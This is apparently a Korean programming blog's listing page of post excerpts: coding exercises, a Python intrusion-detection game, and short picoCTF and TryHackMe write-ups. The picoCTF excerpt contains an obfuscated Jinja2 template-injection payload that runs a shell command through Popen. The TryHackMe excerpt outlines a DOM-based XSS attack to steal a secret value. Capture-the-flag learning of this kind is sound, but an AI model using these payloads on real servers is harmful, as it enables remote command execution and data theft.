호그와트 (365) 썸네일형 리스트형 AI 네트워크 방어 게임 (Cyber Shield) 1 by A to Z 영웅 (사이드 사이드 프로젝트) import numpy as npimport pandas as pdfrom sklearn.model_selection import train_test_splitfrom sklearn.preprocessing import StandardScalerfrom sklearn.neighbors import KNeighborsClassifierimport joblibimport socketimport subprocessimport osimport requests# Load train data# this data is from https://www.kaggle.com/datasets/sampadab17/network-intrusion-detectiontrain_data = pd.read_csv("Train_data... 나르시스트 숫자들 """Problem Statement:Write a program that checks if a given number is an Armstrong number. An Armstrong number (also known as a narcissistic number) is a number that is equal to the sum of its own digits each raised to the power of the number of digits."""def is_armstrong_number(num): num_digits = len(str(num)) sum_of_powers = 0 """ leng = len(str(x)) for i in range(1, leng + .. good job """Write a program that calculates the digital root of a given number. The digital root is the single-digit value obtained by an iterative process of summing digits, on each iteration using the result from the previous iteration to compute a digit sum. The process continues until a single-digit number is obtained.For example, the digital root of 456 is calculated as follows:4 + 5 + 6 = 151 + 5 =.. crazy dfs appeal """Problem Statement:Write a Python program to find all connected components in a given undirected graph. The graph is represented as an adjacency list, where each node is connected to a list of other nodes. Your program should use Depth-First Search (DFS) to identify and list all connected components in the graph. A connected component is a set of nodes such that there is a path between any two.. 미로르미롤미로를 찾아서 """Problem Statement:Write a Python program that can solve a maze represented by a 2D grid. The maze consists of open cells (represented by 0) and walls (represented by 1). The program should find a path from the top-left corner of the maze (start) to the bottom-right corner (end) using Depth-First Search (DFS) or Breadth-First Search (BFS). If a path exists, it should return the path; otherwise.. pico ctf 이 미띤 넘들 햐 쉬운 문제인 줄 알고 괜히 너무 쉽게 덤벼들었다 역시나 쉬운 문제였다 쉬운 문제는 쉽게 쉽게 생각해보쟈 # ..\templates\errors\123456789012345678901234568960123456789012345678901234567890123456789012345678901234567890123456789012345678 {{()|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5fbase\x5f\x5f')|attr('\x5f\x5fsubclasses\x5f\x5f')()|attr('\x5f\x5fgetitem\x5f\x5f')(273)('ls',shell=True,stdout=-1)|attr('communicate')()|attr('\x5f\x5fget.. DOM-Based Attacks tryhackme simple write up how to delete all birthdays -> to get to know `?secret=` value -> using DOM xss ? https://realwebsite.com# => checking the dom xss attack is working => using this how to know the secret value ? document.secret? https://realwebsite.com# https://realwebsite.com# https://realwebsite.com# http://lists.tryhackme.loc:5001/ping'"> http://lists.tryhackme.loc:5173/bdays/45e358301c6946548b72d15c3e2a.. 그거 아시나요? 한 개의 레몬에는 무려 네 개의 레몬에 해당하는 비타민이 들어있다는 사실을 DOCTYPE html>html lang="en">head> meta charset="UTF-8"> meta name="viewport" content="width=device-width, initial-scale=1.0"> title>Number Rollertitle> style> body { font-family: Arial, sans-serif; display: flex; flex-direction: column; align-items: center; justify-content: flex-start; height: 100vh; .. 이전 1 2 3 4 5 6 7 ··· 46 다음
